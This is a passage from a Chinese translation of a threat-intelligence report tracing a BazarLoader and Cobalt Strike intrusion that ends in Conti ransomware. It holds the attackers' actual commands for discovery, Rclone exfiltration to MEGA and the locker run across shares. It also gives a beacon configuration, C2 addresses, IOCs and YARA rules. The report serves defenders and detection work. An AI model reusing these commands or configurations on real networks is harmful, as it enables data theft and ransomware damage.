事件](https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks)，这一点变得显而易见。这可能是由于一家分支机构泄露的[Conti手册](https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/)广泛传播。在本例中，我们看到了相同的事件模式，工具包括net、nltest、用于discovery的ShareFinder、用于C2的Cobalt
Strike 和WMIC远程进程创建，以便扩展其在网络中的访问。
尽管入侵总共持续了五天，但就在入侵的头两个小时，Cobalt
Strike和键盘操作者出现了。他们立即开始收集信息，使用网络命令了解情形。然后，他们继续通过执行PowerView模块`Invoke-ShareFinder`来查找打开的共享。
在收集和分析ShareFinder的结果后，他们似乎对组织的服务器和工作站布局有了很好的了解，因为他们开始执行命令从特定的高价值服务器收集信息。在此期间，当执行者未能更改特定参数时，我们发现了错误，这些参数说明执行者根据预定义的playbook进行操作。他们最终决定使用WMIC横向转向服务器以执行DLL。
一旦他们通过Cobalt Strike信标访问了远程服务器，他们就会重新运行Invoke ShareFinder，然后通过[MEGA cloud
storage service](https://mega.io/)使用Rclone应用程序从不同的服务器中过滤出有价值的数据.
第二天，攻击者使用RDP访问备份服务器，并在访问过程中通过`taskmanager GUI`查看备份设置和运行服务器上的进程。
第四天，攻击者再次使用Rclone和MEGA进行另一轮过滤。
第五天，他们迅速向最终目标迈进，那就是Conti勒索软件。在执行Conti之前，他们使用RDP安装和配置AnyDesk远程桌面应用程序。由于具有GUI访问权限，他们试图使用ProcessHacker投放LSASS进程。在这最后一步之后，他们通过批处理脚本将Conti勒索软件部署到所有加入域的系统中。
关于这个事件的一个有趣的事情是，我们没有发现攻击者与域控制器（DC）交互。但一般来说，大多数勒索软件事件都涉及到攻击者在DCs上执行代码。
## 时间线
由 [@Kostastsale](https://twitter.com/Kostastsale),
[@pigerlin](https://twitter.com/pigerlin), and
[@_pete_0](https://twitter.com/_pete_0) 完成分析和报告，由@TheDFIRReport 进行审查。
## MITRE ATT&CK
### 初始访问
感谢 [@James_inthe_box](https://twitter.com/James_inthe_box) 提供样本。
与以前记录的入侵一样，攻击者使用内嵌的Microsoft Word文档引诱用户启用宏来执行有效负载。用户会看到以下信息：
[](https://thedfirreport.com/wp-content/uploads/2021/11/f22784bc5813874c131d0c6f21acb3404084de7b57c0ae1f2afde6d8fe24c3a2)
查看文件时，我们可以看到标记为.doc文件的文件类型在查看文件属性时显示为XML。
[](https://thedfirreport.com/wp-content/uploads/2021/11/48fd9c86e04ef1a61d214e6e64ef7c41e6bd9a14221fa1d46971fef9324d2af8)
更深入的检查显示Word 2003 XML格式和包含的宏。
[](https://thedfirreport.com/wp-content/uploads/2021/11/378c5988f8fc4afa0a81cabf543a41f1e299b701f952ad4077406bd2b7110731)
启用宏后，在下一阶段，将创建一个HTML应用程序（HTA）文件并将其放入用户文件夹：
对HTA文件的分析显示了编码HTML和JavaScript/VBScript代码的混合，更不用说文件开头的亵渎了。
[](https://thedfirreport.com/wp-content/uploads/2021/11/b7eb0f03b4298506d506b3212d1bcc69972e2706249a5b9e535f6ea28d43a323)
随后执行HTA：
[
对HTA文件的分析显示了编码HTML和JavaScript/VBScript代码的混合。
[](https://thedfirreport.com/wp-content/uploads/2021/11/9c60564c3c931ab0997a0b1d1576ca09d0ddec29b331655cbcf13c77fb8a5f5a)
base64编码字符串可以解码为：
[](https://thedfirreport.com/wp-content/uploads/2021/11/9f647bdcc95ed17b46e7e166bd80c79c85701cc53d2c98873bec3a897ce304f6)
代码将伪装成jpg的二进制文件（compareFor.jpg）从`millscruelg[.]com`下载到文件夹“c:\users\public”，并结合VBScript代码，利用REGSVR32执行此DLL。
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/beaa83c86c77ad8f3fe2ad4baa905b35933b1294af9f5631e80e60aafef312b3)
* * *
这将启动与`64.227.65[.]60:443`的连接，并调用`Svchost.exe`，然后查找`myexternalip[.]com`以检索网络的外部面向公众的IPv4地址。攻击者可以使用此信息验证目标网络和加强工具配置。通过RunDll32并使用Svchost进程加载了两个DLL。第一个是D574.dll：
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/2de12905c5c982b4ae7876ef23c5594051efc03fb0bf0daaad84f480f773830c)
* * *
之后是 D8B3.dll:
D8B3.dll注入Winlogon进程（高完整性）：
[](https://thedfirreport.com/wp-content/uploads/2021/11/157ab4613bc64d45aad39a06f7c9e1bbdac31afe3e1da5845f4e4dee593e2c11)
在D8B3.dll中，dll被编译。
这两个DLL都有无效证书，可以以任何失败/已吊销状态被检测到：
[](https://thedfirreport.com/wp-content/uploads/2021/11/44cd52c302739e02de041a7db50bc820f0d9b8bc8c948432f55a151e8935e618)
此外，每个DLL都没有与DLL相关的填充元数据：
进程层次结构树图如下所示：
[](https://thedfirreport.com/wp-content/uploads/2021/11/927a09d2bb51e93a6abf163e97fbedc1cf09f76f333ec1a7e5a936345fffc8a5)
这与8月11日布拉德·邓肯对Bazarloader的[分析](https://isc.sans.edu/diary/rss/27738)非常相似。
### 持久性
我们发现在文件夹c:\users\\Videos下创建了AnyDesk应用程序，对于进程活动来说，这个位置是异常且可疑的。因为可移植可执行文件出现在非标准文件系统位置，这也方便了我们检测。
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/7f72bf852b58de31e886393160e0dc14665c86c9863f90ac3b69bccc801d18cb)
* * *
[AnyDesk](https://anydesk.com/)是一个封闭源代码的远程桌面应用程序，可用于多种操作系统。它是免费供私人使用的。我们发现了AnyDesk应用程序向合法注册的IPv4范围发起的长连接。然而，在这些环节中，我们没有太有价值的发现。
### 凭证访问
ProcessHacker也被放在C:\的根目录中，可能用于访问LSASS进程。对于用户来说，他们并不常常使用ProcessHacker之类的实用程序，位于C:\root的应用程序在某些环境中也是可疑的。
[](https://thedfirreport.com/wp-content/uploads/2021/11/ae2d915c25b3741d2639c30c2c10417bf81fcadfdc2c417ba004a8ae6bc64b6e)
### 发现
通过使用RunDLL32和Winlogon进程，我们发现了许多典型的主机和网络发现命令，这些命令使用了net, nltest, tasklist and
time等技术。例子包括：
tasklist /s <REDACTED>
net group "domain admins" /dom
net localgroup "administrator"
nltest /domain_trusts /all_trusts
net view /all /domain
net view /all time
ping
在运行其中一些命令时，出现了复制粘贴错误，表明操作者可能从运行手册上操作的，如8月份泄漏的Conti手册一样，在出现错误之后，可以通过 tasklist/s
IP 而不是实际的主机系统 IP 看到。
[
Cmd.exe进程使用不常见的父进程(如 RunDLL32.exe)调用了许多命令。
下面的例子使用 time 命令:
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/b9c5ab4ca577c810f6fe15373ae4a2bcc3a79e790a788e0aaa44945ba1c5d6f1)
* * *
Red Canary为 rundll32提供了一个很好的检测指南; [本文](https://redcanary.com/threat-detection-report/techniques/RunDLL32/文档)涵盖了 rundll32的活动，例如命令减少、不寻常的繁殖活动等。
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/4cf94e23abd22fa0ad6e718ca833baa0e0b530494c3309acc5d001bda83bdbaa)
* * *
发现命令调用：
[](https://thedfirreport.com/wp-content/uploads/2021/11/0279e95c4c33e2b33b3509e07e19811588d32c0488908f01d7c006cd0d963e03)
[AdFind](https://thedfirreport.com/2020/05/08/adfind-recon/)
通过二进制文件写入，但还没有发现执行的迹象。
[](https://thedfirreport.com/wp-content/uploads/2021/11/e2869d1ae419f425ffa968640aab1a4db4e893e835136118f2a868727d5b2ee5)
文件共享枚举是使用PowerShell [Invoke-ShareFinder](https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1)
脚本（PowerView的一部分）实现的。
[](https://thedfirreport.com/wp-content/uploads/2021/11/5e2b9072978174209ec9599d77e24814eb667a9a475a04d303a32627a73ad5b3)
输出文件是在`c:\ProgramData\found\u
shares.txt`创建的。在最近的其他[入侵](https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/)中也观察到了该工具的使用。PowerShell由WinLogon进程调用，结果文件由Rundll32.exe创建。
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/93ddd3e8229d05f00c11963ef5f11182f696d3d2907be284d0cbba1d30d62b5d)
* * *
在入侵的第二天，攻击者通过RDP和Cobalt Strike信标访问备份服务器，并打开其服务器上的备份控制台。
[
查看备份后，他们还通过GUI打开taskmanager（[由流程命令行中的/4指示](https://www.hexacorn.com/blog/2018/07/22/taskmgr-exe-slashing-numbers/))查看系统上正在运行的进程。
[
### 横向运动
攻击者在网络中的关键资产（此次入侵中的备份主机）上执行Cobalt Strike信标，使用以下命令 ：
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/360da830c3f3842301f7b01e444953cbfc7c457d21206b1b712c8dda08094c72)
* * *
通过 WMI 调用 rundll32在目标主机上加载143.dll (Cobalt Strike 信标)实现远程进程执行:
The Cobalt Strike 信标 (143.dll) 注入到svchost进程`‘svchost.exe -k UnistackSvcGroup
-s CDPUserSvc’`:
* * *
[
* * *
然后请求`checkauj[.]com (82.117.252.143)`。大约9小时后，攻击者通过143.dll 建立了 RDP
会话。这是在入侵之前实现的，我们将这些行为联系起来:
* * *
* * *
在这一事件中，我们认为攻击者泄露了远程工作站的名称“`win-344vu98d3ru`”。
[
### 命令和控制
伪装成 jpg 的 Bazar DLL 在整个入侵过程中都使用了 HTTPS C2。
#### Bazar C2
64.227.65.60:4439
JA3:72a589da586844d7f0818ce684948eea
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [7f:d6:df:4d:5e:c4:d9:71:c0:46:8d:47:e5:81:75:57:d6:92:72:96 ]
Not Before: 2021/08/03 07:37:28 UTC
Not After: 2022/08/03 07:37:28 UTC
Issuer Org: GG EST
Subject Common: perdefue.fr
Subject Org: GG EST
Public Algorithm: rsaEncryption
161.35.147.110:443
JA3:72a589da586844d7f0818ce684948eea
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [21:ff:9f:e0:8a:dd:c3:ed:36:90:a0:e1:11:70:fe:c4:b3:42:f5:1a ]
Not Before: 2021/08/03 07:37:30 UTC
Not After: 2022/08/03 07:37:30 UTC
Issuer Org: GG EST
Subject Common: perdefue.fr
Subject Org: GG EST
Public Algorithm: rsaEncryption
161.35.155.92:443
JA3:72a589da586844d7f0818ce684948eea
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [42:7d:a4:48:5b:6b:2b:92:2c:07:9d:cc:59:14:2e:de:b1:e8:f5:bb ]
Not Before: 2021/08/03 07:37:30 UTC
Not After: 2022/08/03 07:37:30 UTC
Issuer Org: GG EST
Subject Common: perdefue.fr
Subject Org: GG EST
Public Algorithm: rsaEncryption
64.227.69.92:443
JA3:72a589da586844d7f0818ce684948eea
JA3s:ec74a5c51106f0419184d0dd08fb05bc
Certificate: [97:33:eb:80:85:ae:f0:0e:40:94:ac:d5:38:96:6a:e5:75:2b:49:8c ]
Not Before: 2021/08/03 07:37:28 UTC
Not After: 2022/08/03 07:37:28 UTC
Issuer Org: GG EST
Subject Common: perdefue.fr
Subject Org: GG EST
Public Algorithm: rsaEncryption
#### Cobalt Strike
第一个 DLL [ D574.DLL ]没有进行任何立即的后续活动，而 D8B3.dll 由
rundll32加载，并参与许多攻击活动，从文件创建、进程执行到与82.117.252[.]143:443持久网络连接，整个入侵过程都有它的身影。
D574.dll 由 rundll32进程加载，具有对 `volga.azureedge [ . ] net`的持久 DNS 查询行为，但没有建立网络连接。
[](https://thedfirreport.com/wp-content/uploads/2021/11/a6abc9f9fa1754b78f352dba2d215682604beb1cb1dade806822f3b500194cb6)
我们发现，DLL 有效负载“ d574.DLL”通过[ DNS
9003响应代码](https://blog.didierstevens.com/2021/07/16/sysmons-DNS-querystatus-field/)与域 `volga.azureedge [ . ]`和 c2服务器建立联系。
[](https://thedfirreport.com/wp-content/uploads/2021/11/2ed4b6f441190247999fd96b464d551eaae088873bc9c8bbe2ad753b20304711)
外部沙盒显示，该域绑定到其他Cobalt Strike信标样本，但那些样本与此报告没有关联，它很可能是这次服务器已经取消了。
https://tria.ge/210803-w15fxk72ns
https://capesandbox.com/analysis/175977/
D8B3.dll 显示了初始活动，然后是已建立的与82.117.252[ . ]143:80的网络连接。
[](https://thedfirreport.com/wp-content/uploads/2021/11/e9d99ea9abdb897fa3d346534f32338e3a5433eeb1e3c2675b208f1e1494b0ed)
D8B3.dll 是攻击者在整个入侵过程中使用的 Cobalt Strike
信标。它作为主要的有效载荷，有利于大部分初始入侵和正在进行的维护访问行为。用于从滩头主机横向移动到备份服务器的 DLL 143.DLL 也与这个
Cobalt Strike 服务器通信。一旦攻击者获得了一个立足点并横向移动，他们就能够使用 RDP 并访问有价值的特定主机。
* five.azureedge.net 82.117.252.143:80
* checkauj.com 82.117.252.143:443
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767
Certificate: [68:c5:fc:c0:4a:34:e4:8f:01:86:59:c1:da:40:78:00:00:20:a0:b0 ]
Not Before: 2021/08/03 11:50:47 UTC
Not After: 2021/11/01 11:50:45 UTC
Issuer Org: Let's Encrypt
Subject Common: checkauj.com [checkauj.com ,www.checkauj.com ]
Public Algorithmrsa:Encryption
#### Cobalt Strike 配置
82.117.252.143 – checkauj.com
{
"BeaconType": [
"HTTP"
],
"Port": 80,
"SleepTime": 60000,
"MaxGetSize": 1403644,
"Jitter": 37,
"C2Server": "checkauj.com,/jquery-3.3.1.min.js",
"HttpPostUri": "/jquery-3.3.2.min.js",
"Malleable_C2_Instructions": [
"Remove 1522 bytes from the end",
"Remove 84 bytes from the beginning",
"Remove 3931 bytes from the beginning",
"Base64 URL-safe decode",
"XOR mask w/ random key"
],
"SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
"Spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 0,
"bStageCleanup": "True",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "True",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 17500,
"ProcInject_PrependAppend_x86": [
"kJA=",
"Empty"
],
"ProcInject_PrependAppend_x64": [
"kJA=",
"Empty"
],
"ProcInject_Execute": [
"CreateThread",
"SetThreadContext",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"ProcInject_AllocationMethod": "VirtualAllocEx",
"bUsesCookies": "True",
"HostHeader": ""}
### 渗出
一旦攻击者建立了对关键资产的访问权限，他们就使用 RClone 将敏感数据转移到一个名为[ MEGA
](https://MEGA.io/)的云存储空间。Rclone 使用的完整命令包括各种参数，包括设置带宽限制。
rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M
RClone 仍然是大容量数据外泄的常用且有效的工具。NCC 集团已经提供了一份关于 Rclone
应用和检测方法的详细[报道](https://research.nccgroup.com/2021/05/27/detecting-Rclone-an-effective-tool-for-exfiltration/)。
在两个独立的事件中都发现了 Rclone 的存在，每次持续约三小时。
[
* * *
### 影响
在第五天，攻击者采取他们的最终行动——加密域。他们首先通过一个交互式命令 shell 在网络上对系统进行 ping。在这个阶段， [Iobit
unlocker](https://www.iobit.com/en/iobit-unlocker.php)也被植入了，但是它没有被使用。在 ping
了系统之后，攻击者打开了一个批处理文件，这个文件最终被用来启动 Conti 勒索软件。
[
locker.bat是一个定制的脚本，用于在多个主机上对文件进行加密:
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/7b9e7c4d301dcb9922a9995615a03d6cbea55c1a141d820f909f68fd95414d96)
* * *
根据文件的内容，我们有理由认为攻击者可能在得到ping 结果后，在执勒索软件之前做了最后的调整。
然后通过备份服务器发射勒索软件。
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/9cc86be7737f8d74a5bfd4da00fb46d2c3d899ebdc0475dccb0792932e3d1235)
* * *
为了加密系统，勒索软件为每个目标主机安装了 C$dir，然后执行其加密例程。
C:\o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker.exe -m -net -size 10 -nomutex -p \\TARGETHOST\C$
以下是执行过程的概述:
对DLL和指示Conti工件的EXE的分析：
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/501735cefb3cc7d0b08f983c8a57b193267d9d1f2d49b9809e333aa15e4abd9b)
* * *
加密完成后，以下勒索软件注释将作为“readme.txt”放在所有受影响的目录中
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/145eb3e900a27ad1bb6ebc7ba77c7ef2da278e0aa28ac69b0a995caad10ade27)
* * *
这些text文件的内容：
* * *
[](https://thedfirreport.com/wp-content/uploads/2021/11/ecaecfdb88f5ae8a174538af1ada8f5235a885544520ee0c01905f1e861b3310)
* * *
在执行locker勒索软件后，攻击者随后针对多台主机执行了一个文件列表发现，似乎是在验证和评估locker加密是否成功：
[](https://thedfirreport.com/wp-content/uploads/2021/11/6cd18842629e69c9e3ce73f5af6192b42e43492f72dee865acb7c5c2077f0a37)
## IOCs
### Network
BazarLoader 64.227.69.92|443 161.35.155.92|443 161.35.147.110|443
64.227.65.60|443
Loader download
millscruelg.com([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=millscruelg.com))
45.95.11.133|80
Cobalt Strike volga.azureedge.net five.azureedge.net checkauj.com
82.117.252.143|443 82.117.252.143|80
### Files
decree-08.03.2021.doc
f6f72e3d91f7b53dd75e347889a793da
5d4f020115a483e9e5aa9778c038466f9014c90c
14bccfecaaec8353e3e8f090ec1d3e9c87eb8ceb2a7abedfc47c3c980da8ad71
compareForFor.hta
193b84d45dd371c6e4a501333d37349b
742ed8d0202aafba1c162537087a8a131cb85cde
fb38061bf601001c45aafe8d0c5feaa22c607d2ff79cfb841788519ca55a17b4
D8B3.dll
4ba6791f2293a8bc2dfa537015829b3c
d4f5cc55b6fa25f9a45ba7e968438b97e33aefbc
4a49cf7539f9fd5cc066dc493bf16598a38a75f7b656224db1ddd33005ad76f6
D574.dll
663c8d0fe8b770b50792d10f6c07a652
d0361fbcebe59205b2ea6a31041c89464a5e61b6
1872bf6c974e9b11040851f7d30e5326afdc8b13802891c222af4368a14f829c
143.dll
ab3a744545a12ba2f6789e94b789666a
1d5f8d283ed3f6019954aa480182c9913ee49735
6f844a6e903aa8e305e88ac0f60328c184f71a4bfbe93124981d6a4308b14610
ProcessHacker.exe
68f9b52895f4d34e74112f3129b3b00d
c5e2018bf7c0f314fed4fd7fe7e69fa2e648359e
d4a0fe56316a2c45b9ba9ac1005363309a3edc7acf9e4df64d326a0ff273e80f
locker.bat
84361813423910294079d0bc5b6daba2
c0b28fd2d5b62d5129225e8c45d368bc9e9fd415
1edfae602f195d53b63707fe117e9c47e1925722533be43909a5d594e1ef63d3
o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker.exe
7f112bfa16a6bd344aaed28abf606780
eaa792a1c9f1d277af3d88bd9ea17a33275308f3
9cd3c0cff6f3ecb31c7d6bc531395ccfd374bcd257c3c463ac528703ae2b0219
o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x64.dll
2c313c5b532c905eb8f1748a0d656ff9
70725329e4c14b39d49db349f3c84e055c111f2d
31656dcea4da01879e80dff59a1af60ca09c951fe5fc7e291be611c4eadd932a
o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x86.dll
26bd89afd5c1ba9803422d33185cef89
c99f0fa8d5fbffe5288aaff84dbe980c412ba34e
01a9549c015cfcbff4a830cea7df6386dc5474fd433f15a6944b834551a2b4c9
AnyDesk.exe
e6c3ab2ee9a613efdf995043b140fd8e
33738cf695a6ac03675fe925d62ecb529ac73d03
8f09c538fc587b882eecd9cfb869c363581c2c646d8c32a2f7c1ff3763dcb4e7
unlocker.exe
5840aa36b70b7c03c25e5e1266c5835b
ea031940b2120551a6abbe125eb0536b9e4f14c8
09d7fcbf95e66b242ff5d7bc76e4d2c912462c8c344cb2b90070a38d27aaef53
rclone.exe
9066cfcf809bb19091509a4d0f15f092
f88a948b0fd137d4b14cf5aec0c08066cb07e08d
9b5d1f6a94ce122671a5956b2016e879428c74964174739b68397b6384f6ee8b
### Suricata
ET TROJAN Cobalt Strike Malleable C2 JQuery Custom Profile Response
ETPRO TROJAN Cobalt Strike Malleable C2 JQuery Custom Profile M2
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
ET POLICY HTTP POST to MEGA Userstorage
### Sigma
rclone_execution.yaml
sysmon_in_memory_powershell.yml
win_susp_wmic_proc_create_rundll32.yml
sysmon_abusing_debug_privilege.yml
win_trust_discovery.yml
win_office_shell.yml
win_mshta_spawn_shell.yml
win_susp_net_execution.yml
win_susp_regsvr32_anomalies.yml
sysmon_rundll32_net_connections.yml
win_net_enum.yml
win_susp_wmi_execution.yml
### Yara
/*
YARA Rule Set
Author: TheDFIRReport
Date: 2021-11-29
Identifier: 5794
*/
/* Rule Set ----------------------------------------------------------------- */
rule mal_host2_143 {
meta:
description = "mal - file 143.dll"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "6f844a6e903aa8e305e88ac0f60328c184f71a4bfbe93124981d6a4308b14610"
strings:
$x1 = "object is remotepacer: H_m_prev=reflect mismatchremote I/O errorruntime: g: g=runtime: addr = runtime: base = runtime: gp: gp=" ascii
$x2 = "slice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to palloc" ascii
$x3 = " to unallocated spanCertOpenSystemStoreWCreateProcessAsUserWCryptAcquireContextWGetAcceptExSockaddrsGetCurrentDirectoryWGetFileA" ascii
$x4 = "Go pointer stored into non-Go memoryUnable to determine system directoryaccessing a corrupted shared libraryruntime: VirtualQuer" ascii
$x5 = "GetAddrInfoWGetLastErrorGetLengthSidGetStdHandleGetTempPathWLoadLibraryWReadConsoleWSetEndOfFileTransmitFileabi mismatchadvapi32" ascii
$x6 = "lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnableunexpected f" ascii
$x7 = "unknown pcws2_32.dll of size (targetpc= KiB work, freeindex= gcwaiting= heap_live= idleprocs= in status mallocing= ms clock" ascii
$x8 = "file descriptor in bad statefindrunnable: netpoll with pfound pointer to free objectgcBgMarkWorker: mode not setgcstopm: negativ" ascii
$x9 = ".lib section in a.out corruptedbad write barrier buffer boundscall from within the Go runtimecannot assign requested addresscasg" ascii
$x10 = "Ptrmask.lockentersyscallblockexec format errorg already scannedglobalAlloc.mutexlocked m0 woke upmark - bad statusmarkBits overf" ascii
$x11 = "entersyscallgcBitsArenasgcpacertracehost is downillegal seekinvalid slotiphlpapi.dllkernel32.dlllfstack.pushmadvdontneedmheapSpe" ascii
$x12 = "ollectionidentifier removedindex out of rangeinput/output errormultihop attemptedno child processesno locks availableoperation c" ascii
$s13 = "y failed; errno=runtime: bad notifyList size - sync=runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierrunt" ascii
$s14 = "ddetailsecur32.dllshell32.dlltracealloc(unreachableuserenv.dll KiB total, [recovered] allocCount found at *( gcscandone m->gs" ascii
$s15 = ".dllbad flushGenbad g statusbad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegc" fullword ascii
$s16 = "ked to threadCommandLineToArgvWCreateFileMappingWGetExitCodeProcessGetFileAttributesWLookupAccountNameWRFS specific errorSetFile" ascii
$s17 = "mstartbad sequence numberdevice not a streamdirectory not emptydisk quota exceededdodeltimer: wrong Pfile already closedfile alr" ascii
$s18 = "structure needs cleaning bytes failed with errno= to unused region of spanGODEBUG: can not enable \"GetQueuedCompletionStatus_cg" ascii
$s19 = "garbage collection scangcDrain phase incorrectindex out of range [%x]interrupted system callinvalid m->lockedInt = left over mar" ascii
$s20 = "tProcessIdGetSystemDirectoryWGetTokenInformationWaitForSingleObjectadjusttimers: bad pbad file descriptorbad notifyList sizebad " ascii
condition:
uint16(0) == 0x5a4d and filesize < 4000KB and
1 of ($x*) and all of them
}
rule mal_host1_D8B3 {
meta:
description = "mal - file D8B3.dll"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "4a49cf7539f9fd5cc066dc493bf16598a38a75f7b656224db1ddd33005ad76f6"
strings:
$x1 = "object is remotepacer: H_m_prev=reflect mismatchremote I/O errorruntime: g: g=runtime: addr = runtime: base = runtime: gp: gp=" ascii
$x2 = "slice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to palloc" ascii
$x3 = " to unallocated spanCertOpenSystemStoreWCreateProcessAsUserWCryptAcquireContextWGetAcceptExSockaddrsGetCurrentDirectoryWGetFileA" ascii
$x4 = "Go pointer stored into non-Go memoryUnable to determine system directoryaccessing a corrupted shared libraryruntime: VirtualQuer" ascii
$x5 = "GetAddrInfoWGetLastErrorGetLengthSidGetStdHandleGetTempPathWLoadLibraryWReadConsoleWSetEndOfFileTransmitFileabi mismatchadvapi32" ascii
$x6 = "lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnableunexpected f" ascii
$x7 = "unknown pcws2_32.dll of size (targetpc= KiB work, freeindex= gcwaiting= heap_live= idleprocs= in status mallocing= ms clock" ascii
$x8 = "file descriptor in bad statefindrunnable: netpoll with pfound pointer to free objectgcBgMarkWorker: mode not setgcstopm: negativ" ascii
$x9 = ".lib section in a.out corruptedbad write barrier buffer boundscall from within the Go runtimecannot assign requested addresscasg" ascii
$x10 = "Ptrmask.lockentersyscallblockexec format errorg already scannedglobalAlloc.mutexlocked m0 woke upmark - bad statusmarkBits overf" ascii
$x11 = "entersyscallgcBitsArenasgcpacertracehost is downillegal seekinvalid slotiphlpapi.dllkernel32.dlllfstack.pushmadvdontneedmheapSpe" ascii
$x12 = "ollectionidentifier removedindex out of rangeinput/output errormultihop attemptedno child processesno locks availableoperation c" ascii
$s13 = "y failed; errno=runtime: bad notifyList size - sync=runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierrunt" ascii
$s14 = "ddetailsecur32.dllshell32.dlltracealloc(unreachableuserenv.dll KiB total, [recovered] allocCount found at *( gcscandone m->gs" ascii
$s15 = ".dllbad flushGenbad g statusbad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegc" fullword ascii
$s16 = "ked to threadCommandLineToArgvWCreateFileMappingWGetExitCodeProcessGetFileAttributesWLookupAccountNameWRFS specific errorSetFile" ascii
$s17 = "mstartbad sequence numberdevice not a streamdirectory not emptydisk quota exceededdodeltimer: wrong Pfile already closedfile alr" ascii
$s18 = "structure needs cleaning bytes failed with errno= to unused region of spanGODEBUG: can not enable \"GetQueuedCompletionStatus_cg" ascii
$s19 = "garbage collection scangcDrain phase incorrectindex out of range [%x]interrupted system callinvalid m->lockedInt = left over mar" ascii
$s20 = "tProcessIdGetSystemDirectoryWGetTokenInformationWaitForSingleObjectadjusttimers: bad pbad file descriptorbad notifyList sizebad " ascii
condition:
uint16(0) == 0x5a4d and filesize < 4000KB and
1 of ($x*) and all of them
}
rule mal_host2_AnyDesk {
meta:
description = "mal - file AnyDesk.exe"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "8f09c538fc587b882eecd9cfb869c363581c2c646d8c32a2f7c1ff3763dcb4e7"
strings:
$x1 = "<assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" processorArchitecture=\"x86\" pu" ascii
$x2 = "C:\\Buildbot\\ad-windows-32\\build\\release\\app-32\\win_loader\\AnyDesk.pdb" fullword ascii
$s3 = "<assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" processorArchitecture=\"x86\" pu" ascii
$s4 = "<assemblyIdentity version=\"6.3.2.0\" processorArchitecture=\"x86\" name=\"AnyDesk.AnyDesk.AnyDesk\" type=\"win32\" />" fullword ascii
$s5 = "4http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O" fullword ascii
$s6 = "(Symantec SHA256 TimeStamping Signer - G3" fullword ascii
$s7 = "(Symantec SHA256 TimeStamping Signer - G30" fullword ascii
$s8 = "http://ocsp.digicert.com0N" fullword ascii
$s9 = "http://www.digicert.com/CPS0" fullword ascii
$s10 = "Bhttp://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0" fullword ascii
$s11 = "<description>AnyDesk screen sharing and remote control software.</description>" fullword ascii
$s12 = "/http://crl3.digicert.com/sha2-assured-cs-g1.crl05" fullword ascii
$s13 = "/http://crl4.digicert.com/sha2-assured-cs-g1.crl0L" fullword ascii
$s14 = "%jgmRhZl%" fullword ascii
$s15 = "5ZW:\"Wfh" fullword ascii
$s16 = "5HRe:\\" fullword ascii
$s17 = "ysN.JTf" fullword ascii
$s18 = "Z72.irZ" fullword ascii
$s19 = "Ve:\\-Sj7" fullword ascii
$s20 = "ekX.cFm" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 11000KB and
1 of ($x*) and 4 of them
}
rule ProcessHacker {
meta:
description = "mal - file ProcessHacker.exe"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "d4a0fe56316a2c45b9ba9ac1005363309a3edc7acf9e4df64d326a0ff273e80f"
strings:
$x1 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe" fullword wide
